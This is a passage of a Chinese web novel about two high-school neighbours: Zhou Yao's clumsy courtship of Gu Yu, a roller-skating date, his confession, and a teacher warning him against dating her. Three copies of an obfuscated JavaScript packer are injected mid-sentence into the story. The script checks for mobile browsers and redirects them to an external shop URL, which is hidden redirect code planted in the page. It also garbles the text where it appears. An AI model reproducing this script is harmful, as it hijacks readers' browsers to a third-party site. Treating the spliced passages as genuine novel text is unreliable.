代薇子扭头嘲讽蒋煜:“我的天啊,你竟然也会有主动问作业的一天?!” 蒋煜原本还想问周窈怎么这么反常,被代薇子这么一打岔也没顾得上。 “那怎么了,我现在是Goodgoodstudy,Daydayup!我爸妈说了,期末我要是能进班级中游,就奖励我一台PS3!”说着,他用手肘捅了捅边上的顾彧:“哎顾神,到时候来我家玩游戏啊。” 顾彧心不在焉地“嗯”了一声,托腮望着坐在前座的少女。 昨天说了要追自己之后,到今天早上为止,周窈一共就只跟他说了五句话而已。 “走吗?” “再见。” “吃了。” “快走,要迟到了。” “我先走了。” 这算哪门子的追人? “哎顾神,晚上去不去网吧开黑压惊,我叫上李铭轩一起。” 顾彧盯着前排周窈柔顺的马尾,指尖有节奏地敲击着桌面,恶作剧般的笑容浮现在嘴角,他做出一副为难的样子:“我得问下周窈。” 蒋煜:“问周窈干什么?” 顾彧:“她说要追我,我怕她有别的安排。” 蒋煜大惊:“啥?!她不是一直在追你吗?” 顾彧漫不经心:“以前是谣言,现在是真的。毕竟昨天危急时刻我及时出现救她一命,她对我产生了不可磨灭的感情也是正常的。” 来发练习册的流动组长李铭轩闻言不禁侧目:“你又在说什么鬼话,你这个样子还像个学霸吗?” 像是为了验证自己话语的真实性,顾彧敲了敲周窈的后背,待周窈一脸无语地转过身来后,又星星眼地问道:“周条条,你准备什么时候开始追我?怎么追我?我晚上能跟他们去网吧吗?” 周窈按捺住想打他一顿的冲动:“你现在这个样子让我觉得我做了一个错误的决定。” 顾彧耸肩摊手:“看吧,我都说了她要追我了。” 60. 惊喜 虽然放话出来要追顾彧,但周窈一时也没想好到底该怎么追,毕竟她和顾彧太熟了,又每天同进同出,别人追人的手段放在他们俩身上,好像都不那么合适。 犹豫到最后,她干脆奉行“盯人”战术,顾彧走到哪她跟到哪,活像他的跟屁虫。以前这三个字都是周窈用来骂顾彧的,没想到有朝一日自己也成了跟屁虫。 真是风水轮流转啊…… 周窈这样想着,但看见顾彧起身出去,她又第一时间跟了上去,但心里还惦记着自己刚刚在做的题,一个不注意,就直直撞到了前人身上。 嗯? 周窈有些发懵地抬头,却发现周围人正在朝她窃笑。 顾彧转身撑着门框微微俯下身看着她:“其实我倒是不介意给你看,只是我怕里面的同学会有点意见。” 周窈愣愣朝他身后看去,又猛地退后一步看清了门框上的字——男厕所! 她跟到男厕所来了! 周围爆发一阵哄笑,周窈这下是没脸再跟了,直接掉头跑回教室去了。 顾彧望着她逃跑的身影,嘴角的弧度怎么都按不下去。 …… 下午最后一节课,学校组织全校师生包括高三学生在教室里统一观看灾害逃生科普,恰巧史芬被叫去开会了,教室里顿时像没了大王的猴山,乱作一团。 一片闹腾之中,周窈依旧不动如山地坐在自己的位置上利用一切时间刷题,冬令营报名时间近在咫尺,她不想错过这次机会。 边上代薇子和荣子涵说着小话,也不知道怎么的,这话题就转到周窈身上来了。 “了不起啊你,追人都追到男厕所去了。”代薇子出言调侃:“全年级段大概都知道了。” 回想起自己在男厕所门口的窘状,周窈停笔,托着腮叹气:“哎……我这不是不知道怎么追。” 代薇子撇撇嘴:“那你就跟到男厕所去啊?不过也正常,毕竟你们那么熟,如果我是你,就跳过追人这个环节,直接上去问他你要不要跟我在一起了。” “啊?这不太好吧。”周窈微微皱眉,毕竟她也不确定顾彧对自己是不是有意思,作为先示爱的那个人,应该还是要有点表现的。 “这有什么的。”边上荣子涵插嘴道:“那时候朱鑫纬就是这么问我的啊,然后我思考了两天,就答应了。哎,不过现在看来,还是草率了。算了,就当做是成长的第一课吧。” 代薇子满脸欣慰:“咱们家子涵长大了。” 荣子涵切了一声:“去去去。谁是你家子涵……”话未说完就被代薇子捂住了嘴。 “小声点,咱们别耽误周老师学习,周老师还要考冬令营呢。” 荣子涵撑着脖子朝周窈看了一眼,看见她专心在做一套数学卷子呢,若有所思地眼珠子动了动。 女生这边为爱苦恼,男生那却在看热闹。 蒋煜破天荒没打游戏,而是叫上李铭轩把顾彧围在中间,一副审问的架势。 “不是吧,葛朗台·周怎么才开始追你啊?我们还以为她已经把你追到手了呢!”说着,他一脸疑惑地看向顾彧,而后者正目光灼灼地盯着前排某人看呢,不用问,在看周窈呢。 “我天,就这不要钱的样子,你说人周窈追你?” 顾彧闲散地瞥了他一眼:“自然是她追我,但我也得给她点回应啊,不然她中途放弃了怎么办。” “完球。”蒋煜恨铁不成钢地摇了摇头,一面掏出手机准备“开坛做法”:“来来来,咱们就看这次顾神能撑几天。” 边上李铭轩抬头问:“什么撑几天?” “当然是撑几天和周窈在一起啊!你看他那不要钱的样,总不至于他拒绝人家周窈吧!” 李铭轩闻言放下手里的漫画:“那行,算我一个。” 顾彧不满地朝他们看去:“你们现在打赌都不避着我这个正主了吗?” 李铭轩:“那你说,你能撑多久。” 顾彧还真认真思考了,随即给出了一个答案:“起码一周吧。” 蒋煜两眼一黑:“一周?你要不现在就和她在一起吧。” 顾彧“啧”了一声:“太容易得到的东西不会珍惜。” 李铭轩重新拾起漫画:“你们要不现在就在一起吧。” 几人正说着,顾彧手机一震,他掏出来一看,原来是物流信息有更新,范兴阳寄给他的那套教材,显示已经装车往舟市发过来了,预计明天能到。 大概算了算时间,顾彧给周窈发了条消息。 【顾^^彧:我明天给你个惊喜。】 【不是葛朗台是世界首富:什么惊喜?】 【顾^^彧:明天你就知道了。】 还没等他放下手机,又有一条新短信,这次是他妈妈何茜华发来,点开一看。 【小彧,你的期中成绩我已经发给海市中学了,但如果要申请转到实验班,还需要你自己过来亲自参加考试。另,我问学校要了几套海市的卷子,已经发快递给你了,你抽空试着做一下。】 顾彧盯着短信看了几秒,随即回道:“知道了。” 回完消息,他抬头看着前排少女的背影,原先还挺开心的脸色,突然又黯了下来。 此时心生焦虑的并不只有顾彧一个人。 在看到他发来的消息后,周窈突然觉得自己作为一个追求者也太不够格了,怎么能让对方给自己送“惊喜”呢?自己应该也要有所回报吧。 但想来想去,她身无长物,能给顾彧的实在太少了,成绩没他好,长得也没他好看,家世更不用说了。总不至于她上人家家去给他做碗粥,温暖一下他渴望家庭的心灵? 等下,这什么玛丽苏文学啊! 摸了摸手臂上的鸡皮疙瘩,周窈做完一套卷子之后,抽空打开了购物网站,搜索“送给男生的礼物”,然后蹦出来的都是按摩仪、男士香水、手办之类的,也没有什么实用的。 继续往下滑,依旧没看到有什么合适的礼物,但她的视线却被一款男士箱包的模特给吸引了。倒不是这模特长得特别帅,而是他的那一副机长打扮,以及脸上戴着的飞行员墨镜。 周窈心中微定,又开始搜“墨镜”,很快就挑选了几款心仪的,目标是有了,价格又成了问题,贵的品牌要上千,普通的也要好几百,便宜的,她又不想买,觉得掉价配不上顾彧。 挑来挑去,选了个折中的口碑还不错的品牌,一副墨镜也要七百多呢。 打开自己的手机钱包看了一眼,现在里面的钱还是之前补课赚来的,但也不到两千块,冬令营的费用都不够,现在还想给顾彧买礼物…… 她得再找点赚钱的途径才行。 于是,距离放学还有五分钟的时候,许久没有动静的“不要坏了规矩”群突然刷新了群公告。 【群公告:作业业务恢复,单科两块全科五块,人手一份,不要坏了规矩。】 与此同时,正在开会的史芬也收到一条短信,来自周窈。 【史老师,麻烦问一下,和李铭轩一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720057|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一的补习,还能继续吗?会违反校规吗?】 逃生科普宣传片放完的那瞬间,下课铃也随之响起。就在李铭轩跨上书包溜溜达达地跟在蒋煜身后准备去网吧开黑之时,就听熟悉的一声:“李铭轩!补习!” 他下意识地抖了抖身体,随即自嘲地笑了笑:“我特么这是幻听了吧……” 待到周窈真到了他跟前,他立即一副天塌下来的表情:“不是吧!怎么还要补习啊?不是考进前三十了吗?!” 周窈晃了晃自己的手机,将李铭轩妈妈发过来的消息摆在他眼前:“你妈妈特地嘱咐的哦,希望我能拖着你考上本科……” “不要啊——” 蒋煜低头看了看群里刚更新的群公告,又看了看被“抛弃”后脸色黑沉的顾彧,再看了看已经拖着李铭轩回到座位上的周窈…… “啧啧,真不愧是葛朗台·周啊,在金钱面前,心上人屁都不是。” / 补习重新“开张”,稳定的经济来源降低了周窈的焦虑感,情绪也好了很多,早上出门的时候,她甚至帮顾彧带了一碗自己炖的银耳雪梨。 顾彧将保鲜盒小心地塞进书包,却还一脸的委屈:“还说要追我,昨天甚至都不跟我一起回家……” “我那不是要赚钱给你——” “给我什么?”顾彧敏锐地望向周窈。 周窈咽了咽口水:“赚钱,带你去约会……” “约会?”像是听到了什么好笑的笑话,顾彧伸手敲了敲周窈的头:“有时间多刷题吧,你不是还想去冬令营?” “是哦……”说起冬令营,周窈捂着头,情绪又有一瞬低落:“参考书都还没找到呢。”转而她又想起顾彧昨天说的要给她惊喜那件事。“你说要给我惊喜,是什么?” 顾彧眨了眨眼,卖了个关子:“下午你就知道了。” 上学的日子往往是无聊乏味且枯燥,好不容易熬完一上午的课,吃完中饭的周窈和代薇子等人打算回教室小眯一会,而和她们一起吃饭的荣子涵则说要去门口拿个闪送。 蒋煜一脸神奇:“嘿,这不巧了么,顾神和李铭轩也去门岗拿快递了,早知道就让他们给子涵带回来了。” 没一会,荣子涵又小跑着回来了,“啪”得一声将包裹放在了周窈的桌上。 “快拆开看看,就当是我为了报答你的救命之恩,送你的礼物!” “送我的?” “嗯,快拆!” 周窈闻言,拿着美工刀拆包裹,心里想着如果是太贵重的东西就还给人家,没想到竟然拆出了她最近掘地三尺也想找到的“秘籍”! “陈敏学?!” 竟然是这个男人! 荣子涵语气些许骄傲:“跟我一起学钢琴的一个姐姐手里有这套书,而且她已经考上大学用不着了,我就问她拿来了。送你,希望你能考进冬令营。” “谢谢……”周窈都不知道说什么好了。 边上代薇子看着这两人,突然笑了出来:“哎,周窈,你现在看咱们家子涵的眼神,就好像是看那种游戏里能爆金币的NPC。” 周窈“呜咽”着摸了摸有些折损的书封:“早知道能爆这个,我应该更快一点跑回去救你,让咱们家子涵无助地哭了这么久,我真该死啊……” “哈哈哈哈哈哈!你要点脸行不行啊!” “我发誓,此生唯爱陈敏学!” 教室外,顾彧看着这眼前的这一幕,悄悄将手背到身后,藏起了刚取来的包裹。 61. 暗度陈仓 当天直到补习结束,周窈都没等到顾彧所谓的“惊喜”,待李铭轩走后,顾彧刚整理好书包起身要走,周窈突然“啪”得一声,双臂支在桌面上,居高临下且面色不愉地望着他。 顾彧紧紧将书包抱在胸前,弱小且无助:“周老师,这里还是学校,请你自重……” 周窈自然不会买他的账,直接将手摊在他面前:“等了一天了,我的惊喜呢?” 顾彧试探:“什么惊喜?你解释一下什么叫惊喜呢?” “少废话,快拿出来!”说着伸手就要去抢他的书包,顾彧迅速侧身护住,周窈脸色瞬间黑了下来:“顾狐狸,你不会是骗我吧?” 顾彧立刻求饶:“我哪敢骗你……”说着他掏出手机,给周窈看自己的订单记录。 周窈凑近一看,太阳穴突突直跳。 “家庭逃生应急包?!” 顾彧仰起脸,一副求夸求表扬的表情:“很实用吧,本来想快递到了再告诉你的,但是这家发货太慢了……” 周窈愣愣地盯着顾彧看了两秒,脑海中不知为何突然浮现了两个字——直男。 “顾狐狸,你地理没学过吗?舟市不在地震带上。” 顾彧划拉着详情页面:“那或许还有比如火灾、洪水、海啸、火山喷发、陨石撞击……” 周窈眼疾手快捂住他的嘴:“闭嘴吧你这个乌鸦嘴,你怎么不说外星人攻打地球的时候用得上呢?” 由于顾彧买了个家庭逃生应急包这件事过于匪夷所思,以至于向来不卜卦的周窈,也没忍住在早自习的时候偷偷和代薇子背后蛐蛐人,哪怕此时顾彧就在她身后坐着,刚刚还给她讲了一道题。 代薇子听完,神情颇为复杂:“嗯……这很难评。” 周窈:“是吧,就跟你之前吐槽过的那些直男一模一样!” “不过……”代薇子斟酌着措辞:“撇开他送了你什么不谈,不是你在追他吗?为什么是他送你礼物?你这追人追的是不是也太省心点了?你现在是不是就在等顾彧点头啊?” 一连串的疑问句把周窈给砸懵了,她不由得反思起来,似乎除了跟在顾彧屁股后头,还贡献了差点跟进男厕所的社死名场面之外,好像确实没有什么拿得出手的追人手段。 代薇子敲了敲她:“他今天抽屉里可是又有好几封情书哦。” 回想起运动会后顾彧手机里那一连串的好友申请,周窈突然焦虑了起来,回头一看,顾彧正在刚收到的情书背面打草稿呢。 周窈忍不住吐槽:“你是买不起草稿纸吗?” 顾彧低头看了两眼:“顺手。” 一脸无语地转回身子,又咬着笔杆思索了一会,又打开自己的手机钱包看了眼余额,突然眼睛一亮,给顾彧发了条消息。 【不是葛朗台是世界首富:周六下午,请你去滑冰。】 身后的顾彧眉毛一挑。 【顾^^彧:周老师这是?】 【不是葛朗台是世界首富:追你啊。】 少女的心意直白又不加修饰,却偏偏最为动人。 顾彧动动手指,将聊天记录截屏发在了空间动态里,设置了一个尽自己可见,并配文——“一周好漫长啊。” 这边周窈敲定了周六的行程,心里总算松了一口气,但还没缓多久,下课时间一到,蒋煜那又躁动起来了。 “哎,我哥加盟了一间电玩城,周六我们去玩吧,我哥说给我们每人免费十个币!就当是庆祝我们地震大难不死了!” 代薇子头一个响应:“好啊好啊,电玩城我还没去过呢,在哪?” 蒋煜:“建国路原来太平洋百货那位置。” “那离我家还挺近。阿周你去不去啊?” 周窈下意识回头看了眼顾彧,两人视线对上,一个慌张,一个玩味。 “李铭轩也去,那顾神呢?” 顾彧瞥了眼周窈:“看周老师安排。” 蒋煜一副要被酸掉大牙的表情:“求求你们,放过我这个孤家寡人吧……那周老师,您看呢?” 周窈的眼神在一群人里飘过,最后还是落到了顾彧身上。 她当着顾彧的面说谎,语气因为内心忐忑而显得底气不足:“我……周六有事,就不去了吧……” “哦……”蒋煜不疑有他,随即一脸遗憾地望向顾彧:“那顾神也不去了咯。” 顾彧看着周窈点了点头,小姑娘因为撒谎耳朵都红了。 “嗯,我也有事。” 蒋煜毫不留情戳穿:“最好是,你还不是因为人家阿周不去你才不去的。” 不搭理蒋煜,顾彧低头对着手机发消息。 【顾^^彧:周老师撒谎的样子怪可爱的。】 【不是葛朗台是世界首富:……】 【顾^^彧:周老师知道这种背着别人单独行动的行为叫什么吗?】 【不是葛朗台是世界首富:叫什么?】 【顾^^彧:叫约会。】 “啪!”手机被猛地翻过来按在了桌面上。 代薇子听到响动扭过头来问:“怎么了?” 周窈摇了摇头:“没,没什么,手滑……” 说完,她低下头,将手机塞进了桌洞里,看似专心刷题。长马尾随着她低头的动作滑落,刚好盖住她红成一片的脖颈…… / 周六中午吃过午饭,周窈跟陈娟说了一声之后,就早早到楼下等顾彧了。她今天还特地打扮了一下,当然,如果挑了一件比较少穿的淡黄色外套也算是“打扮”的话…… 一点半,顾彧准时下楼,就看见周窈站在自行车边等他。 “等我?” 周窈点点头:“嗯,总不好让你等。” 两人经过周窈家的厨房窗户下,陈娟还在窗户口喊他们:“小彧,麻烦你帮我们条条补习了啊。” 顾彧应了一声,随即压低声音问:“补习?” 周窈:“我说约了你去图书馆做题。”反正不能告诉陈娟她和顾彧去旱冰馆玩了,还是她请客,陈娟肯定会跳起来揍她一顿。 顾彧拖着长音:“哦,周条条骗妈妈偷偷出来跟我约会……” 车把猛地一晃,周窈急忙捏下刹车,恼羞成怒:“顾狐狸你闭嘴!” 第二次来这家旱冰馆,周窈几乎可以说是熟门熟路,她也算是会滑冰的人了,自己就报了鞋码问老板拿了鞋,穿好之后就有些迫不及待地想往池子里冲。 顾彧眼疾手快将人一把拉住:“干什么去?” 周窈疑惑回头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724545|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑冰啊。” 顾彧没说话,但拽着周窈的手却没松,拖着周窈到柜台边问老板了要了一套护具。老板记得他们俩是蒋煜的同学,便也很大方地借了。 周窈望着池子里姿态潇洒的男男女女,不太乐意地让顾彧替自己绑好护具,噘着嘴小声嘟囔:“小孩才戴这些。” 顾彧抬头怼她:“你不是小孩?你还未成年呢。” 但从他的语气中,周窈也知道这事没商量,便只能由他去了。 只是等她穿好护具滑进池子,顾彧抓着她的手依旧没松开。 周窈:? “你松手啊,总拉着我怎么滑啊?” 顾彧略无语地看了她一眼:“周老师,你是不是忘了我们是来干嘛的?” 来干嘛?来滑冰啊…… 话到了嘴边上刚要脱口而出,就看见一对情侣手拉手从她眼前滑过……再看向顾彧的眼神就变得有些复杂。 “你怎么这么懂?” 顾彧无声叹了口气,伸手在周窈头上揉了一把:“某些人过于迟钝,我就只能多懂一些啊。”说着,朝周窈伸出了手。 那姿态,仿佛一位年轻的绅士,邀请面前的小姐与他共舞一曲。 周窈看了看他,又看了看那只是指袖长骨肉匀停的手,郑重地将自己的手放了上去。 和上次拉着她学滑冰不同,这一次,周窈只觉得好像是将自己交了出去。 两只手交叠的霎那,顾彧就像是开启了某个开关似的,带着周窈飞一般地滑进了池子里,周窈来不及惊呼,她甚至脚下都没用力,就这样被顾彧牵着前进。 周围的景致在一圈圈变换,他们穿梭在人群里,惊险却也刺激。好几次顾彧甚至能转过身来倒着滑,与她四目相对时眼里带着张扬的笑意。 周窈突然就有些恍惚,她目前为止的生命里,从没有哪一天像今天这样恣意过。在数不清的卷子、习题和担惊受怕的还款日里,今天,现在,此时此刻的场景,显得一点都不真实。 太梦幻了。 人生的灯球,难道又照耀了她一次吗? 握着的手渐渐松开,顾彧觉察到周窈的变化,扭头看她的同时也减慢了速度。 “累了?” 周窈遮掩道:“腿酸。” “去喝点饮料。” 顾彧带着周窈来到冰柜前,毫不犹豫地拿了一瓶脉动。 在看到熟悉的蓝色瓶子后,周窈心里咯噔一下,不自觉想起之前某个乌龙事件,手指自动略过脉动随手挑了它隔壁的可乐。 “你不是不喝冰可乐?”顾彧问。 周窈掩饰着自己的不自然:“只是今天想喝。” 两人挨着肩坐在休息区喝饮料,顾彧拿出手机来刷了两下,然后给周窈看蒋煜他们在电玩城拍的照片。 一堆小学生里,只有他们几个高中生,扎眼得很。 “如果答应了他们,我们现在也是其中一员。” 周窈喝了一口可乐,轻笑:“代薇子肯定后悔死了。” “你知道我们这种背着他们的行为,叫什么吗?” “你不是说叫‘约会’?”这“题”的答案周窈还记得。 “不。”顾彧摇了摇手指,凑到周窈耳畔:“叫暗度陈仓。” 62. 约会 灼热的气息吐在周窈耳廓,她捂着自己的耳朵:“你能不能正经点!” 顾彧坐直身子,一副不知道哪里错的表情:“正经还叫约会?” 周窈恨不能把他这张嘴缝起来,她起身警惕地看了下四周:“这种话你怎么大庭广众之下说啊!” “那怎么说?当着面给你发消息?” “你——”周窈懒得理他,转身往洗手间方向走:“我去上厕所。” 顾彧眼疾手快拉住她的手:“我不说了还不行吗?” 周窈瞪他:“放手,我要去上厕所!” 旱冰馆里的洗手间很小,只有两个隔间,周窈等了好一会才有空位。 刚准备出去,就听见洗手池那有人说话,在听到“顾彧”两个字后,她推门的手顿住了。 “打听到啦,是一中的顾彧,成绩好长得帅,前段时间还打破了市跳高记录。” “那边上跟他一起的那个女生,是他女朋友?” “不知道,但是没听说他有女朋友啊,当然,这种人也不乏人追就是了。” “哎,好酸啊,他们俩看起来还挺亲密的,我还以为这种帅哥都得配美女呢。” “不知道哎,这种金字塔顶尖男生的喜好,还都挺特别的,你看那个男明星,就最近公开结婚的那个,他老婆不也挺普通的吗?” “这样看起来,可能帅哥也不难追?” 说话间,两人推门走出了卫生间,周窈便也从隔间里出来。 开了水龙头洗手,一边听着水流哗哗的声响,一边回忆着刚刚这两人的话。她突然觉得自己好像忽略了一个最重要的问题,那就是纵然她说要追顾彧,但她从未想过,顾彧会不会喜欢自己,又或者他会不会喜欢别的什么人。 又或者,像他这样的大帅哥,还是应该配小美女才对,起码也得是于奥琪那种级别的。 想到这,胸口又堵又闷。 从卫生间里出来,却没在原来的位置上看到顾彧,四下找了一通,才在冰场里看见他,边上还粘着一个漂亮小姑娘,不知道是不是刚刚在卫生间里说话的那两人其中之一。 周窈对这种状况早已适应,顾彧本身就长得帅,个子高,在普通人里就跟鹤立鸡群似的,加上他今天穿着一件藏青色连帽衫配牛仔外套和灰色运动裤,又酷又帅,到哪都足够吸引人眼球,有人上前搭讪也不奇怪。 于是她也没上前打断,自己扶着栏杆进冰场里滑了起来。 顾彧看见她,就立马甩了身边的人滑到了她身边。 “怎么去了这么久?” 周窈看了一眼不远处正看着他们俩的那位女生:“排队人多,等了一会。” 顾彧注意到她视线的方向,扭头看了一眼,随即轻扬了下嘴角:“干嘛,吃醋啊?” 周窈撇了撇嘴,怪道:“招蜂引蝶。” 两人又手拉手溜了一会,眼看着夕阳西下了才离开旱冰馆。 顾彧不想这么早回家,而陈娟也去上夜班了没人管周窈几点回家,两人就在旱冰馆不远处的KFC找了个靠窗的位置吃晚饭。 周窈没什么胃口,吃了个土豆泥吃了几根薯条之后就不想再吃什么了。 顾彧看了她几眼,突然起身。 周窈被他吓了一跳:“你干嘛去?” 顾彧只说“等我一会”,就转身跑远了。 想着或许是上厕所吧,或者去点别的东西吃了,周窈也没觉得奇怪,只自顾自托腮坐在原位,有一根没一根地吃着盘子里的薯条,一边想着自己的心事,想着万一顾彧真的不喜欢她,这件事该如何收场,未来他们又该如何相处。 想到这,周窈不免有些后悔了。 那时她如果没有冲动地上前跟他表白就好了,现在他们依旧是一对青梅竹马,哪怕到了三四十岁也是如此。 可世上最缺的就是后悔药…… “咚咚。” 边上的落地窗被人从外面敲响,周窈扭头一看,就见刚刚离开的顾彧,此时正牵着一只哆啦A梦气球站在窗户外,和那只蓝胖子一起,笑意盈盈地望着她。 他身后是车水马龙的街道,天边最后一抹余晖打在他身上,将他整个人都染成了橘红色,周窈的世界里,几乎没有这样绚烂的色彩。 想都没想,她推门跑到顾彧身边,从他手里接过哆啦A梦的气球。 “为什么送我气球?” 顾彧双手插兜,似乎有些不太好意思:“你不是不高兴嘛……” 周窈愣了一下:“我没有不高兴啊。” 这会轮到顾彧怔愣了:“你不是因为那个女生追着我要加微信不高兴吗?” 周窈看着他,不说话。 顾彧反应过来,表情竟有些沮丧:“行吧,是我自作多情了,我还以为你吃醋了……” “好吧,我是有点不高兴,不过不是因为那个女生……” “那是因为什么?”顾彧望着眼前的周窈,这一刻他突然觉得,到底周条条也是个女生啊,只要是女生,心思都是难懂的。 周窈犹豫了一下,还是决定把握机会,于是她抬头直直望向顾彧:“顾彧,你喜欢我吗?” 顾彧乍听之下有些惊讶,但很快就松了口气,仿佛周窈庸人自扰似的。 他轻笑了一下:“你觉得我不喜欢你?” 周窈依旧没说话。 车水马龙的街道上,人声和车流声混杂在一起,边上的落地窗里,服务员敲着玻璃问他们是否吃完了餐,要不要收掉。 而面前这两人却面对面站着,像是无声的对峙。 片刻后,到底还是顾彧败下阵来,他从口袋中抽出手揉了揉周窈的头:“说你迟钝你还真迟钝。”说着,他俯下身来,在周窈耳边清晰地说道:“顾狐狸只喜欢周条条。” 霎那间,周窈似乎看到人生舞台上那颗绚烂的灯球,在她头顶上炸开,无数彩带飘扬下来,纷纷落在了她的身上。 她封存在记忆里的人生高光时刻,就在此时悄悄替换。 而那只哆啦A梦气球,也从今晚起,一直系在周窈的床头,像是一名合格的卫士,守护着她的每一个梦境。 / 体育课,自由活动。 GA几个人凑在一起聊天说小话。 “我去!你们俩竟然背着我们偷偷约会?!还什么有事没空……我真的受伤了,难道我们的存在妨碍你们谈恋爱了吗?!” 周窈和顾彧偷偷去旱冰馆的事还是被爆了出来,起因也挺乌龙的,是高一的女生怀疑自己男朋友和别的女生约会,去旱冰馆找人去了,男朋友没见着,却看见顾彧和另一个女生手牵手滑冰,直接拍下来就发空间了。 不巧,被转到了年级段大群里,又不巧,被蒋煜看见了。 蒋煜很气,他感觉自己遭到了背叛。 “甚至都不是我哥告诉我的,还是我从群里知道的!” 周窈心不在焉:“哦,那你哥嘴还挺严哦。” “这是重点吗!?” 蒋煜暴走。 代薇子顺着周窈的视线看去,就见顾彧和李铭轩在一对一打篮球。 她了然地笑了笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么了?”周窈不明所以地反问。 顾彧扁扁嘴:“都不配,朱鑫纬和荣子涵在一起的时候,用的是情侣头像。” 那我们在一起了吗? 周窈差点脱口而出,但碍于周围还有这么多“看客”,她压下了嘴边的话,反问道:“你竟然还知道他们用情侣头像?你有他们好友?” 顾彧收回手机:“班级群里看到的。”转而他又问:“哆啦A梦有CP吗?” 周窈想了想:“没有。” 顾彧:“那我们换大雄和静香?” 周窈:“不要,我只喜欢哆啦A梦,要不你换成竹蜻蜓吧。” 顾彧不乐意:“不要,连个人都不是。算了,我还是换成大雄吧。” 周窈嫌弃地将他一把推开:“你好恶心啊,这不是搞基吗?!” 于是一整节课,两个人纠结来纠结去,换头像这事都没能成,顾彧不甘心用竹蜻蜓做头像,一直到放学都还在努力寻找哆啦A梦的异性CP。周窈也不管他,拿出整理好的资料准备给李铭轩补习。 这时,谭欣从外面进来,叫住顾彧:“顾彧,史老师找你。” 周窈略微惊讶地抬头看了眼顾彧,自从上次期中考试之后被叫家长,周窈对于“史芬有找”这件事,产生了不小的PTSD。 “史老师找你干什么?” 顾彧摇摇头:“不知道。”但他心里却担心何茜华又因为转学海市的事去找史芬了。 五分钟后,顾彧敲响了办公室的大门。 史芬推了推鼻梁上的眼镜:“进来。” 顾彧:“史老师,您找我有事?” 史芬望着他,藏在镜片后的眼神里,有惋惜,有无奈,也有不忍。 她开门见山:“你和周窈是不是早恋了?” 63. 教训 在课堂上对答如流,在校园里风光无限的校草顾彧,此时沉默得像块石头,他望着史芬,头一次不知该如何作答。 倒不是他怕被史芬骂,而是怕周窈再受什么牵连,上次陈娟来学校后周窈的表现还历历在目,他不想因为这事,让周窈再哭一次。 迅速思考一番后,他定了定神,答道:“是我在追她,但她还没同意。” 史芬显然不信:“我听到的说法不是这样的。” “您听到的是谣言。” 气氛突然僵住了。 史芬望着眼前真正意味上“文武双全”的第一名,太阳穴一跳一跳地疼了起来。 她知道不管是周窈还是顾彧,都是好学生,尤其是周窈,家庭条件不好,但学习非常拼命,甚至有时候史芬看着她都会觉得有些心酸。顾彧更别说了,就按他现在的成绩,基本已经能预定市状元了,冲一冲省状元也不是没希望。 但现在这两人,竟然要早恋! 说到底史芬还是更偏向周窈一些,努力又拼命的学生谁都希望她能够逆天改命,她也知道顾彧是聪明人,便也不兜圈子,上来就直击关键。 史芬说道:“我知道你平时也和蒋煜、李明轩他们玩在一起,但就期中考试成绩来看,你自制力是很不错的,可是你有信心,或者你确信,周窈也拥有和你同等的自制能力吗?你能保证周窈跟你恋爱之后,成绩不会下滑吗?” 顾彧猛地抬头,显然史芬的话,直戳他的痛处。 “你和周窈是邻居,你应该清楚她的家庭情况吧?” “我知道。” 史芬继续道:“那你就应该明白,高考对周窈来说有多重要。说直白点,高考是周窈逆天改命的关键点,她能不能飞出这个窝棚,逃离现在的生活就靠这一哆嗦了,你要在这个节骨眼上耽误她吗?” “我知道你们俩都很努力,但人这个生物,太具有不确定性了,你就能打包票,你们俩在一起之后,成绩不会受影响吗?” “或许你成绩稳定,即便有所下滑,无非就是上不了清北,考不上985,但周窈呢?她现在本科或许稳了,但重点线远远没到。” “她的人生或许就这一次机会了,容错率远比你想象得要低得多得多!” 一字一句,像惊雷砸在顾彧耳边。 自责、内疚、懊悔。 不甘、不服、不信。 复杂的情绪像一块块巨石堵在他的胸口,让他连基本的呼吸活动都忘了。 脑海里一片空白。 他想说“您说的这些我都考虑过了”,但张了张嘴却说不出口,总觉得自欺欺人。 就如同史芬说的,他发现自己无法坚定地说出我不会耽误她,也无法坚定地说出她不会受我的影响,更无法代表周窈向史芬保证,即便他们从小一起长大,比任何其他人都要更加亲密…… 史芬观察着他的表情,知道他听进去了,紧锁的眉头也松开了一些。 “既然你说你在追她,那我姑且就认为你是喜欢周窈的,喜欢一个人,难道不该为她好吗?感情是私人的,但不是自私的,还是说,你连一年半都等不到了?” 垂在身侧的拳头捏紧,低下的头却抬不起来。 …… 教室里,周窈已经结束了给李铭轩的补习,她一边收拾东西一边向外张望,奇怪顾彧怎么还不回来。刚想着要不要偷偷去办公室看一眼,就见顾彧远远从楼梯上来。 还是双手插兜慢慢吞吞的样子,却没了以往的漫不经心,更像是有什么心事似的。 周窈站在楼梯口等他,看着他的身影渐渐从台阶后显现出来,然后朝她露出一个笑容,只是笑得有些勉强和疲惫。 “怎么了?史芬找你什么事?” “没什么。”上了楼,顾彧就垂头倚在楼梯扶手边,避开周窈的视线撒谎:“说我最近和蒋煜他们玩得太近,怕我学习上松懈了。” “有吗?”周窈犹疑地反问。 